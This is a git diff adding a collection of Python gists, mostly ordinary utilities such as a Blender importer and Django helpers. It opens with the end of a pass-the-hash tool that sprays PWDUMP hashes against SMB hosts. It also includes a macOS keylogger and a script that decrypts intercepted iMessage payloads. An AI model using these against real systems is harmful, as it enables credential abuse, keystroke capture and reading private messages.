+    parser.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar='smb port', help='Destination port used to connect into SMB Server')
+
+    if len(sys.argv) < 3:
+        parser.print_help()
+        sys.exit(1)
+
+    OPTIONS = parser.parse_args()
+
+    machines = [x.strip() for x in open(OPTIONS.rhosts).readlines() ]
+    rawpwdump = [x.strip() for x in open(OPTIONS.hashes).readlines() ]
+    pwdump = {}
+
+    for p in rawpwdump:
+        try:
+            user = p.split(':')[0]
+            hash = p.split(':')[2] + ':' + p.split(':')[3]
+        except:
+            err('Supplied hashes file does not conform PWDUMP format!')
+            err('\tIt must be like this: <user>:<id>:<lmhash>:<nthash>:...')
+            sys.exit(1)
+            
+        pwdump[user] = hash
+
+    warning('Testing %d hashes against %d machines. Resulting in total in %d PTH attempts\n' \
+        % (len(pwdump), len(machines), len(pwdump) * len(machines)))
+
+    stopevent = multiprocessing.Manager().Event()
+
+    try:
+        pool = multiprocessing.Pool(WORKERS, init_worker)
+        func = partial(worker, stopevent, pwdump)
+        pool.map_async(func, machines)
+        pool.close()
+        pool.join()
+
+    except KeyboardInterrupt:
+        pool.terminate()
+        pool.join()
+        success('\nUser interrupted the script.')
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/3019988/._snippet.py b/hard-gists/3019988/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3019988/._snippet.py differ
diff --git a/hard-gists/3019988/snippet.py b/hard-gists/3019988/snippet.py
new file mode 100644
index 00000000..b468aeb9
--- /dev/null
+++ b/hard-gists/3019988/snippet.py
@@ -0,0 +1,24 @@
+"""PyObjC keylogger for Python
+by  ljos https://github.com/ljos
+"""
+
+from Cocoa import *
+from Foundation import *
+from PyObjCTools import AppHelper
+
+class AppDelegate(NSObject):
+    def applicationDidFinishLaunching_(self, aNotification):
+        NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(NSKeyDownMask, handler)
+
+def handler(event):
+    NSLog(u"%@", event)
+
+def main():
+    app = NSApplication.sharedApplication()
+    delegate = AppDelegate.alloc().init()
+    NSApp().setDelegate_(delegate)
+    AppHelper.runEventLoop()
+
+
+if __name__ == '__main__':
+   main()
\ No newline at end of file
diff --git a/hard-gists/3023497/._snippet.py b/hard-gists/3023497/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3023497/._snippet.py differ
diff --git a/hard-gists/3023497/snippet.py b/hard-gists/3023497/snippet.py
new file mode 100644
index 00000000..4a066b0a
--- /dev/null
+++ b/hard-gists/3023497/snippet.py
@@ -0,0 +1,43 @@
+from Crypto.Cipher import AES
+from StringIO import StringIO
+from bplist import BPlistReader #https://github.com/farcaller/bplist-python
+import M2Crypto
+import gzip
+import struct
+
+def xor_strings(s, key):
+    res = ""
+    for i in xrange(len(s)):
+            res += chr(ord(s[i]) ^ ord(key[i%len(key)]))
+    return res
+
+def aes_ctr_decrypt(data, key, iv=None, ctr=1):
+    res = ""
+    a = AES.new(key)
+    x = a.encrypt("\x00"*8 + struct.pack(">Q", ctr))
+    for i in xrange(0,len(data), 16):
+        res += xor_strings(data[i:i+16], x)
+        ctr += 1
+        if len(data[i:i+16]) == 16:
+            x = a.encrypt("\x00"*8 + struct.pack(">Q", ctr))
+    return res
+
+#use https://github.com/meeee/pushproxy to intercept
+msg = BPlistReader(open("message.plist","rb").read()).parse()
+d = gzip.GzipFile("", fileobj=StringIO(msg["P"].data)).read()
+l = struct.unpack(">H", d[1:3])[0]
+x = d[3:3+l]
+
+#extract "iMessage encryption key" from recipient keychain
+pk = M2Crypto.RSA.load_key("recipient_key.txt")
+
+#decrypt session key
+z = pk.private_decrypt(x[:160], M2Crypto.RSA.pkcs1_oaep_padding)
+aes_key = z[:16]
+data = z[16:] + x[160:]
+#decrypt message payload
+decrypted = aes_ctr_decrypt(data, aes_key)
+#double gzip !!!
+dec = gzip.GzipFile("", fileobj=StringIO(decrypted)).read()
+p = BPlistReader(dec).parse()
+print p
diff --git a/hard-gists/3037448/._snippet.py b/hard-gists/3037448/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3037448/._snippet.py differ
diff --git a/hard-gists/3037448/snippet.py b/hard-gists/3037448/snippet.py
new file mode 100644
index 00000000..28d8bd0f
--- /dev/null
+++ b/hard-gists/3037448/snippet.py
@@ -0,0 +1,167 @@
+#!BPY
+
+"""
+Name: 'FaceGen TRI (.tri)...'
+Blender: 249
+Group: 'Import'
+Tooltip: 'Load a FaceGen TRI file.'
+"""
+
+__author__= "himika"
+__version__= "0.2"
+
+__bpydoc__= """\
+This script imports a FaceGen TRI file to Blender.
+
+Usage:
+Run this script from "File->Import" menu and then load the desired TRI file
+"""
+
+# ***** BEGIN GPL LICENSE BLOCK *****
+#
+# Copyright (C) 2012 himika
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software Foundation,
+# Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
+#
+# ***** END GPL LICENCE BLOCK *****
+# --------------------------------------------------------------------------
+
+import bpy
+import Blender
+from Blender import Mesh, Draw, Window, Texture, Material, sys
+import BPyMessages
+from pyffi.formats.tri import TriFormat
+
+
+
+def importMenu():
+	global ROTATE_X90, INPORT_MORPH_SHAPE, INPORT_MODIFIER_SHAPE
+	ROTATE_X90 = Blender.Draw.Create(1)
+	INPORT_MORPH_SHAPE = Blender.Draw.Create(1)
+	INPORT_MODIFIER_SHAPE = Blender.Draw.Create(1)
+	
+	# Get USER Options
+	pup_block = [\
+	('Rotate X90', ROTATE_X90, 'Rotate X -90'),\
+	('TRI Morph',  INPORT_MORPH_SHAPE, 'Include TRI Morph'),\
+	('TRI Modifier', INPORT_MODIFIER_SHAPE, 'Include TRI Modifier')\
+	]
+	
+	if not Blender.Draw.PupBlock('Import TRI...', pup_block):
+		return
+	
+	Blender.Window.WaitCursor(1)
+	
+	ROTATE_X90 = ROTATE_X90.val
+	INPORT_MORPH_SHAPE = INPORT_MORPH_SHAPE.val
+	INPORT_MODIFIER_SHAPE = INPORT_MODIFIER_SHAPE.val
+
+
+
+def loadTri(filename):
+	if BPyMessages.Error_NoFile(filename):
+		return
+	
+	importMenu()
+	
+	print('\nImporting tri: "%s"' % (Blender.sys.expandpath(filename)))
+	istrm = open(filename, 'rb')
+	data = TriFormat.Data()
+	data.inspect(istrm)
+	data.read(istrm)
+	istrm.close()
+	print("\nTRI version 0x%x |  Ve:%d | Fa:%d | UV:%d |" % (data.version, data.num_vertices, data.num_tri_faces, data.num_uvs))
+	print("Num Morphs:%d | Num Modifiers:%d\n" % (data.num_morphs, data.num_modifiers))
+
+	name = filename.split('\\')[-1].split('/')[-1]
+	scn  = bpy.data.scenes.active
+	mesh = Mesh.New()
+	
+	# vertex
+	verts_list = [(v.x, v.y, v.z) for v in data.vertices]
+	if ROTATE_X90:
+		verts_list[:] = [(v[0], -v[2], v[1]) for v in verts_list]
+	mesh.verts.extend(verts_list)
+	
+	# face
+	face_list = [(f.v_1, f.v_2, f.v_3) for f in data.tri_faces]
+	mesh.faces.extend(face_list)
+	del face_list
+	
+	# UV
+	if data.num_uvs > 0:
+		mesh.faceUV = True
+		for i, face in enumerate(mesh.faces):
+			utf = data.uv_tri_faces[i]
+			idx = [utf.v_1, utf.v_2, utf.v_3]
+			for ii, j in enumerate(face):
+				uv = data.uvs[idx[ii]]
+				face.uv[ii].x = uv.u
+				face.uv[ii].y = uv.v
+	
+	ob = scn.objects.new(mesh, name)
+	
+	# Shape Keys
+	if (data.num_morphs > 0 and INPORT_MORPH_SHAPE) or (data.num_modifiers > 0 and INPORT_MODIFIERS_SHAPE):
+		mesh.insertKey(1, 'relative')
+		
+		if INPORT_MORPH_SHAPE:
+			for morph in data.morphs:
+				morphName = str(morph.name.decode("ascii"))
+				scale = morph.scale
+				print("... Morhph:" + morphName)
+				for i, nv in enumerate(mesh.verts):
+					verts_morph = morph.vertices[i]
+					v3 = [verts_morph.x, verts_morph.y, verts_morph.z]
+					if ROTATE_X90:
+						v3 = [v3[0], -v3[2], v3[1]]
+					nv.co[0] = verts_list[i][0] + v3[0] * scale
+					nv.co[1] = verts_list[i][1] + v3[1] * scale
+					nv.co[2] = verts_list[i][2] + v3[2] * scale
+				mesh.insertKey(1, 'relative')
+				mesh.key.blocks[-1].name = morphName
+		
+		if INPORT_MODIFIER_SHAPE:
+			for modifier in data.modifiers:
+				modifierName = str(modifier.name.decode("ascii"))
+				print("... Modifier:" + modifierName)
+				for i, nv in enumerate(mesh.verts):
+					nv.co[0] = verts_list[i][0]
+					nv.co[1] = verts_list[i][1]
+					nv.co[2] = verts_list[i][2]
+				for i, n in enumerate(modifier.vertices_to_modify):
+					nv = mesh.verts[n]
+					mv = modifier.modifier_vertices[i]
+					v3 = [mv.x, mv.y, mv.z]
+					if ROTATE_X90:
+						v3 = [v3[0], -v3[2], v3[1]]
+					nv.co[0] = v3[0]
+					nv.co[1] = v3[1]
+					nv.co[2] = v3[2]
+				mesh.insertKey(1, 'relative')
+				mesh.key.blocks[-1].name = modifierName
+		
+		for i, nv in enumerate(mesh.verts):
+			nv.co[0] = verts_list[i][0]
+			nv.co[1] = verts_list[i][1]
+			nv.co[2] = verts_list[i][2]
+	
+	del verts_list
+	print("done.")
+
+#============================
+# main
+if __name__=='__main__':
+	Blender.Window.FileSelector(loadTri, 'Import tri', '*.tri')
diff --git a/hard-gists/3039696/._snippet.py b/hard-gists/3039696/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3039696/._snippet.py differ
diff --git a/hard-gists/3039696/snippet.py b/hard-gists/3039696/snippet.py
new file mode 100644
index 00000000..6a09733e
--- /dev/null
+++ b/hard-gists/3039696/snippet.py
@@ -0,0 +1,37 @@
+import zlib
+from base64 import b64decode, b64encode
+
+from django.db import models
+
+# django-jsonfield
+from jsonfield import JSONField
+
+
+class CompressedJSONField(JSONField):
+    """
+    Django model field that stores JSON data compressed with zlib.
+    """
+    __metaclass__ = models.SubfieldBase
+
+    def to_python(self, value):
+        if isinstance(value, basestring):
+            try:
+                value = zlib.decompress(b64decode(value))
+            except zlib.error:
+                pass
+        return super(CompressedJSONField, self).to_python(value)
+
+    def get_db_prep_value(self, value, connection=None, prepared=None):
+        value = super(CompressedJSONField, self).get_db_prep_value(value,
+                                                                   connection,
+                                                                   prepared)
+        return b64encode(zlib.compress(value, 9))
+
+
+# South support
+try:
+    from south.modelsinspector import add_introspection_rules
+    # you may need to modify this regex to match where you install this file
+    add_introspection_rules([], ['fields\.CompressedJSONField'])
+except ImportError:
+    pass
\ No newline at end of file
diff --git a/hard-gists/3040846/._snippet.py b/hard-gists/3040846/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3040846/._snippet.py differ
diff --git a/hard-gists/3040846/snippet.py b/hard-gists/3040846/snippet.py
new file mode 100644
index 00000000..81ec8481
--- /dev/null
+++ b/hard-gists/3040846/snippet.py
@@ -0,0 +1,32 @@
+# Copyright @ Bjarte Johansen 2012
+# License: http://ljos.mit-license.org/
+
+from AppKit import NSApplication, NSApp, NSWorkspace
+from Foundation import NSObject, NSLog
+from PyObjCTools import AppHelper
+from Quartz import kCGWindowListOptionOnScreenOnly, kCGNullWindowID, CGWindowListCopyWindowInfo
+
+class AppDelegate(NSObject):
+    def applicationDidFinishLaunching_(self, notification):
+        workspace = NSWorkspace.sharedWorkspace()
+        activeApps = workspace.runningApplications()
+        for app in activeApps:
+            if app.isActive():
+                options = kCGWindowListOptionOnScreenOnly
+                windowList = CGWindowListCopyWindowInfo(options,
+                                                        kCGNullWindowID)
+                for window in windowList:
+                    if window['kCGWindowOwnerName'] == app.localizedName():
+                        NSLog('%@', window)
+                        break
+                break
+        AppHelper.stopEventLoop()
+
+def main():
+    NSApplication.sharedApplication()
+    delegate = AppDelegate.alloc().init()
+    NSApp().setDelegate_(delegate)
+    AppHelper.runEventLoop()
+    
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/3042651/._snippet.py b/hard-gists/3042651/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3042651/._snippet.py differ
diff --git a/hard-gists/3042651/snippet.py b/hard-gists/3042651/snippet.py
new file mode 100644
index 00000000..8bb3141b
--- /dev/null
+++ b/hard-gists/3042651/snippet.py
@@ -0,0 +1,52 @@
+"""
+Template tags for creating links to media files, which are suffixed with the media file's
+mtime (foo.jpg?123456) for the purposes of cache busting.
+
+Use:
+- Put this file in a `<django-app>/templatetags/` directory
+- To link to media files from a template, use:
+
+    {% load media_link %}
+    {% stylesheet_link "css/base.css" %}
+    {% script_link "js/base.js %}
+    <img src="{% media_url "foo.jpg" %}" />
+
+  Which would yield HTML equivalent to:
+
+    <link rel="stylesheet" href="{{ MEDIA_URL }}css/base.css?123" type="text/css" />
+    <script type="text/javascript" src="{{ MEDIA_URL }}js/base.js?456"></script>
+    <img src="{{ MEDIA_URL }}foo.jpg?789" />
+
+"""
+
+import os
+
+from django import template
+from django.utils.safestring import mark_safe
+
+from django.conf import settings as s
+
+register = template.Library()
+
+def _mtime_suffix(file):
+    return int(os.stat(s.MEDIA_ROOT + file).st_mtime)
+
+@register.simple_tag
+def media_url(file):
+    return "%s%s?%s" %(s.MEDIA_URL, file, _mtime_suffix(file))
+
+@register.simple_tag
+def stylesheet_link(stylesheet):
+    return mark_safe('<link rel="stylesheet" href="%s%s?%d" type="text/css" />' %(
+        s.MEDIA_URL,
+        stylesheet,
+        _mtime_suffix(stylesheet),
+    ))
+
+@register.simple_tag
+def script_link(script):
+    return mark_safe('<script type="text/javascript" src="%s%s?%d"></script>' %(
+        s.MEDIA_URL,
+        script,
+        _mtime_suffix(script)
+    ))
diff --git a/hard-gists/3047772/._snippet.py b/hard-gists/3047772/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3047772/._snippet.py differ
diff --git a/hard-gists/3047772/snippet.py b/hard-gists/3047772/snippet.py
new file mode 100644
index 00000000..cd4938e3
--- /dev/null
+++ b/hard-gists/3047772/snippet.py
@@ -0,0 +1,15 @@
+#/usr/bin/env python
+import pybel
+
+#this loads a known problematic molecule from the ZINC (ZINC39141032)
+mol = pybel.readstring('smi','C1CCC[NH+](CC1)C[C@@H]2CCC[NH2+]2')
+
+#The bug is only triggered if the 'MACCS' fingerprint is calculated before HBA2
+#If the HBA2 are calculated before the fingerprint, it works.
+
+print mol.calcfp('MACCS') 
+print mol.calcdesc(['HBA2'])
+
+print 'it worked!!'
+
+raw_input() #This is here in order to be able to see the window on Windows if it works
\ No newline at end of file
diff --git a/hard-gists/304963/._snippet.py b/hard-gists/304963/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/304963/._snippet.py differ
diff --git a/hard-gists/304963/snippet.py b/hard-gists/304963/snippet.py
new file mode 100644
index 00000000..8db4df79
--- /dev/null
+++ b/hard-gists/304963/snippet.py
@@ -0,0 +1,51 @@
+#!/usr/bin/env python
+
+# found on <http://files.majorsilence.com/rubbish/pygtk-book/pygtk-notebook-html/pygtk-notebook-latest.html#SECTION00430000000000000000>
+# simple example of a tray icon application using PyGTK
+
+import gtk
+ 
+def message(data=None):
+  "Function to display messages to the user."
+  
+  msg=gtk.MessageDialog(None, gtk.DIALOG_MODAL,
+    gtk.MESSAGE_INFO, gtk.BUTTONS_OK, data)
+  msg.run()
+  msg.destroy()
+ 
+def open_app(data=None):
+  message(data)
+ 
+def close_app(data=None):
+  message(data)
+  gtk.main_quit()
+ 
+def make_menu(event_button, event_time, data=None):
+  menu = gtk.Menu()
+  open_item = gtk.MenuItem("Open App")
+  close_item = gtk.MenuItem("Close App")
+  
+  #Append the menu items  
+  menu.append(open_item)
+  menu.append(close_item)
+  #add callbacks
+  open_item.connect_object("activate", open_app, "Open App")
+  close_item.connect_object("activate", close_app, "Close App")
+  #Show the menu items
+  open_item.show()
+  close_item.show()
+  
+  #Popup the menu
+  menu.popup(None, None, None, event_button, event_time)
+ 
+def on_right_click(data, event_button, event_time):
+  make_menu(event_button, event_time)
+ 
+def on_left_click(event):
+  message("Status Icon Left Clicked")
+ 
+if __name__ == '__main__':
+  icon = gtk.status_icon_new_from_stock(gtk.STOCK_ABOUT)
+  icon.connect('popup-menu', on_right_click)
+  icon.connect('activate', on_left_click)
+  gtk.main()
diff --git a/hard-gists/304a77371c9e207a5fa42a6b874017d5/._snippet.py b/hard-gists/304a77371c9e207a5fa42a6b874017d5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/304a77371c9e207a5fa42a6b874017d5/._snippet.py differ
diff --git a/hard-gists/304a77371c9e207a5fa42a6b874017d5/snippet.py b/hard-gists/304a77371c9e207a5fa42a6b874017d5/snippet.py
new file mode 100644
index 00000000..f9aae6ba
--- /dev/null
+++ b/hard-gists/304a77371c9e207a5fa42a6b874017d5/snippet.py
@@ -0,0 +1,35 @@
+import json
+import requests
+from django.views.decorators.csrf import csrf_exempt
+
+FB_MESSENGER_ACCESS_TOKEN = "[TOKEN]"
+
+
+def respond_FB(sender_id, text):
+    json_data = {
+        "recipient": {"id": sender_id},
+        "message": {"text": text + " to you!"}
+    }
+    params = {
+        "access_token": FB_MESSENGER_ACCESS_TOKEN
+    }
+    r = requests.post('https://graph.facebook.com/v2.6/me/messages', json=json_data, params=params)
+    print(r, r.status_code, r.text)
+
+
+@csrf_exempt
+def fb_webhook(request):
+    if request.method == "GET":
+        if (request.GET.get('hub.verify_token') == 'this_is_a_verify_token_created_by_sean'):
+            return HttpResponse(request.GET.get('hub.challenge'))
+        return HttpResponse('Error, wrong validation token')
+
+    if request.method == "POST":
+        body = request.body
+        print("BODY", body)
+        messaging_events = json.loads(body.decode("utf-8"))
+        print("JSON BODY", body)
+        sender_id = messaging_events["entry"][0]["messaging"][0]["sender"]["id"]
+        message = messaging_events["entry"][0]["messaging"][0]["message"]["text"]
+        respond_FB(sender_id, message)
+        return HttpResponse('Received.')
\ No newline at end of file
diff --git a/hard-gists/305322/._snippet.py b/hard-gists/305322/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/305322/._snippet.py differ
diff --git a/hard-gists/305322/snippet.py b/hard-gists/305322/snippet.py
new file mode 100644
index 00000000..7f2759e9
--- /dev/null
+++ b/hard-gists/305322/snippet.py
@@ -0,0 +1,131 @@
+"""
+A helper for the app engine blobstore API and Django.
+
+Works with the appengine patch:
+http://code.google.com/p/app-engine-patch/
+
+Taken and inspired by: 
+http://appengine-cookbook.appspot.com/recipe/blobstore-get_uploads-helper-function-for-django-request/
+
+Usage:
+
+def upload_file(request):
+    try:
+        for upload in blogstore_helper.get_uploads(request,'file'):
+            file = BlobFile(blob=upload)
+            file.save()
+        return HttpResponseRedirect("/redirect/to/file/viewer/")
+    except:
+        # throw an error
+        return HttpResponseRedirect("/redirect/to/error/handler")
+
+def serve_file(request, blob_id):
+    blob_id = str(urllib.unquote(blob_id))
+    blob = blobstore.BlobInfo.get(blob_id)
+    return blogstore_helper.send_blob(request, blob, save_as=True)
+
+
+awesome, 
+harper@nata2.org
+"""
+
+import cgi 
+from google.appengine.ext import blobstore
+from django.http import HttpResponse
+import logging
+
+def get_uploads(request, field_name=None, populate_post=False):
+    """Get uploads sent to this handler.
+
+    Args:
+      field_name: Only select uploads that were sent as a specific field.
+      populate_post: Add the non blob fields to request.POST
+
+    Returns:
+      A list of BlobInfo records corresponding to each upload.
+      Empty list if there are no blob-info records for field_name.
+    """
+    
+    if hasattr(request,'__uploads') == False:
+        request.META['wsgi.input'].seek(0) 
+        fields = cgi.FieldStorage(request.META['wsgi.input'], environ=request.META)
+        
+        request.__uploads = {}
+        if populate_post:
+            request.POST = {}
+        
+        for key in fields.keys():
+            field = fields[key]
+            if isinstance(field, cgi.FieldStorage) and 'blob-key' in field.type_options:
+                request.__uploads.setdefault(key, []).append(blobstore.parse_blob_info(field))
+            elif populate_post:
+                request.POST[key] = field.value
+
+    if field_name:
+        try:
+            return list(request.__uploads[field_name])
+        except KeyError:
+            return []
+    else:
+        results = []
+        for uploads in request.__uploads.itervalues():
+            results += uploads
+        return results
+
+
+def send_blob(request, blob_key_or_info, content_type=None, save_as=None):
+    """Send a blob-response based on a blob_key.
+
+    Sets the correct response header for serving a blob.  If BlobInfo
+    is provided and no content_type specified, will set request content type
+    to BlobInfo's content type.
+
+    Args:
+      blob_key_or_info: BlobKey or BlobInfo record to serve.
+      content_type: Content-type to override when known.
+      save_as: If True, and BlobInfo record is provided, use BlobInfos
+        filename to save-as.  If string is provided, use string as filename.
+        If None or False, do not send as attachment.
+
+      Raises:
+        ValueError on invalid save_as parameter.
+    """
+
+    CONTENT_DISPOSITION_FORMAT = 'attachment; filename="%s"'
+    if isinstance(blob_key_or_info, blobstore.BlobInfo):
+      blob_key = blob_key_or_info.key()
+      blob_info = blob_key_or_info
+    else:
+      blob_key = blob_key_or_info
+      blob_info = None
+
+    logging.debug(blob_info)
+    response = HttpResponse()
+    response[blobstore.BLOB_KEY_HEADER] = str(blob_key)
+
+    if content_type:
+      if isinstance(content_type, unicode):
+        content_type = content_type.encode('utf-8')
+      response['Content-Type'] = content_type
+    else:
+      del response['Content-Type']
+
+    def send_attachment(filename):
+      if isinstance(filename, unicode):
+        filename = filename.encode('utf-8')
+      response['Content-Disposition'] = (CONTENT_DISPOSITION_FORMAT % filename)
+
+    if save_as:
+      if isinstance(save_as, basestring):
+        send_attachment(save_as)
+      elif blob_info and save_as is True:
+        send_attachment(blob_info.filename)
+      else:
+        if not blob_info:
+          raise ValueError('Expected BlobInfo value for blob_key_or_info.')
+        else:
+          raise ValueError('Unexpected value for save_as')
+
+    return response
+
+
diff --git a/hard-gists/3057138/._snippet.py b/hard-gists/3057138/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3057138/._snippet.py differ
diff --git a/hard-gists/3057138/snippet.py b/hard-gists/3057138/snippet.py
new file mode 100644
index 00000000..52901e8b
--- /dev/null
+++ b/hard-gists/3057138/snippet.py
@@ -0,0 +1,31 @@
+import pyodbc
+import numpy as np
+import datetime
+import pandas
+
+def processCursor(cur, dataframe=False):
+    datatypes = []
+    colinfo = cur.description
+    for col in colinfo:
+        if col[1] == unicode:
+            datatypes.append((col[0], 'U%d' % col[3]))
+        elif col[1] == str:
+            datatypes.append((col[0], 'S%d' % col[3]))
+        elif col[1] == float:
+            datatypes.append((col[0], 'f4'))
+        elif col[1] == datetime.datetime:
+            datatypes.append((col[0], 'O4'))
+        elif col[1] == int:
+            datatypes.append((col[0], 'i4'))
+
+    data = []
+    for row in cur:
+        data.append(tuple(row))
+
+    array = np.array(data, dtype=datatypes)
+    if dataframe:
+        output = pandas.DataFrame.from_records(array)
+    else:
+        output = array
+
+    return output
diff --git a/hard-gists/3077639/._snippet.py b/hard-gists/3077639/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3077639/._snippet.py differ
diff --git a/hard-gists/3077639/snippet.py b/hard-gists/3077639/snippet.py
new file mode 100644
index 00000000..d6b3aa4b
--- /dev/null
+++ b/hard-gists/3077639/snippet.py
@@ -0,0 +1,34 @@
+import csv
+
+from tools import DynamicCommand # see https://gist.github.com/2724472
+
+
+class Command(DynamicCommand):
+    """
+    Easily export a model's objects in csv format.  In this example the csv can be generated by executing:
+
+    ./manage.py export your_model
+    """
+
+    def your_model(self):
+        from your.app.models import YourModel
+        meta = {
+            'file': '/tmp/your_model.csv',
+            'class': YourModel,
+            'fields': ('title', 'description') # models fields you want to include 
+        }
+        self._write_csv(meta)
+
+    def _write_csv(self, meta):
+        """
+        :param meta: (dict) keys should be 'file' (string: absolute path), 'class' the Python class
+        object, 'fields' a list or tuple of field model field names (strings)
+        """
+        f = open(meta['file'], 'w+')
+        writer = csv.writer(f, encoding='utf-8')
+        writer.writerow( meta['fields'] )
+        for obj in meta['class'].objects.all():
+            row = [unicode(getattr(obj, field)) for field in meta['fields']]
+            writer.writerow(row)
+        f.close()
+        print 'Data written to %s' % meta['file']
\ No newline at end of file
diff --git a/hard-gists/3078465/._snippet.py b/hard-gists/3078465/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3078465/._snippet.py differ
diff --git a/hard-gists/3078465/snippet.py b/hard-gists/3078465/snippet.py
new file mode 100644
index 00000000..cc34665f
--- /dev/null
+++ b/hard-gists/3078465/snippet.py
@@ -0,0 +1,24 @@
+from flask import Blueprint
+import converters # module containing the custom converter classes
+
+def add_app_url_map_converter(self, func, name=None):
+    """
+    Register a custom URL map converters, available application wide.
+
+    :param name: the optional name of the filter, otherwise the function name
+                 will be used.
+    """
+    def register_converter(state):
+        state.app.url_map.converters[name or func.__name__] = func
+
+    self.record_once(register_converter)
+
+# monkey-patch the Blueprint object to allow addition of URL map converters
+Blueprint.add_app_url_map_converter = add_app_url_map_converter
+
+# create the eyesopen Flask blueprint
+bp = Blueprint('myblueprint', __name__)
+
+# register the URL map converters that are required
+bp.add_app_url_map_converter(converters.FooConverter, 'foo')
+bp.add_app_url_map_converter(converters.BarConverter, 'bar')
\ No newline at end of file
diff --git a/hard-gists/3078764/._snippet.py b/hard-gists/3078764/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3078764/._snippet.py differ
diff --git a/hard-gists/3078764/snippet.py b/hard-gists/3078764/snippet.py
new file mode 100644
index 00000000..5a39e6a5
--- /dev/null
+++ b/hard-gists/3078764/snippet.py
@@ -0,0 +1,58 @@
+"""mk2mpris.py: forward GNOME media key events to an MPRIS2 player.
+"""
+import dbus
+from dbus.mainloop.glib import DBusGMainLoop
+import gobject
+
+APP_NAME = 'mk2mpris'
+DBUS_INTERFACE_MK = 'org.gnome.SettingsDaemon.MediaKeys'
+OBJ_PATH_MK = '/org/gnome/SettingsDaemon/MediaKeys'
+OBJ_NAME_GSETTINGS = 'org.gnome.SettingsDaemon'
+OBJ_MPRIS2_BASE = 'org.mpris.MediaPlayer2'
+OBJ_PATH_MPRIS2 = '/org/mpris/MediaPlayer2'
+
+def forward_keys(player):
+    """Forward Gnome media keys to the named MPRIS2 player."""
+    player_obj = '{0}.{1}'.format(OBJ_MPRIS2_BASE, player)
+
+    def handle_key(app_name, key):
+        print key
+        if key == 'Play':
+            # Send the PlayPause message on MPRIS.
+            player = bus.get_object(player_obj, OBJ_PATH_MPRIS2)
+            player.PlayPause()
+
+    DBusGMainLoop(set_as_default=True)
+    bus = dbus.SessionBus()
+    loop = gobject.MainLoop()
+
+    media_keys = bus.get_object(
+        OBJ_NAME_GSETTINGS,
+        OBJ_PATH_MK,
+    )
+    media_keys.GrabMediaPlayerKeys(
+        APP_NAME,
+        0,
+        dbus_interface=DBUS_INTERFACE_MK
+    )
+
+    bus.add_signal_receiver(
+        handle_key,
+        None,  # Match all signal names.
+        DBUS_INTERFACE_MK,
+        None,  # Match all senders.
+        OBJ_PATH_MK,
+    )
+
+    try:
+        loop.run()
+    except KeyboardInterrupt:
+        pass
+    finally:
+        media_keys.ReleaseMediaPlayerKeys(
+            APP_NAME,
+            dbus_interface=DBUS_INTERFACE_MK,
+        )
+
+if __name__ == '__main__':
+    forward_keys('tomahawk')
diff --git a/hard-gists/3079065/._snippet.py b/hard-gists/3079065/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3079065/._snippet.py differ
diff --git a/hard-gists/3079065/snippet.py b/hard-gists/3079065/snippet.py
new file mode 100644
index 00000000..c6a842e8
--- /dev/null
+++ b/hard-gists/3079065/snippet.py
@@ -0,0 +1,10 @@
+import os
+import barrel
+
+REALM = "PRIVATE"
+USERS = [('jacob', 'hunter2')]
+
+os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mysite.settings")
+from django.core.wsgi import get_wsgi_application
+
+application = barrel.cooper.basicauth(users=USERS, realm=REALM)(get_wsgi_application())
\ No newline at end of file
diff --git a/hard-gists/3081369/._snippet.py b/hard-gists/3081369/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3081369/._snippet.py differ
diff --git a/hard-gists/3081369/snippet.py b/hard-gists/3081369/snippet.py
new file mode 100644
index 00000000..0c99c5aa
--- /dev/null
+++ b/hard-gists/3081369/snippet.py
@@ -0,0 +1,417 @@
+#!/usr/bin/env python
+#
+#  pnp.py
+#
+#  Copyright (C) 2012 Russ Dill <Russ.Dill@asu.edu>
+#
+#  This program is free software: you can redistribute it and/or modify
+#  it under the terms of the GNU General Public License as published by
+#  the Free Software Foundation, either version 2 of the License, or
+#  (at your option) any later version.
+#
+#  This program is distributed in the hope that it will be useful,
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU General Public License for more details.
+#
+#  Generate xy file with:
+#       pcb -x bom --bomfile /dev/null <board>.pcb
+#
+#  Generate bom with (Don't forget attribs file):
+#       gnetlist -g bom2 <schematics> -o <board>.bom
+#
+#  Generate front image with:
+#       pcb -x png --outfile <board>-front.png --dpi 600 --use-alpha \
+#           --photo-mode <board>.pcb
+#
+#  Generate back image with:
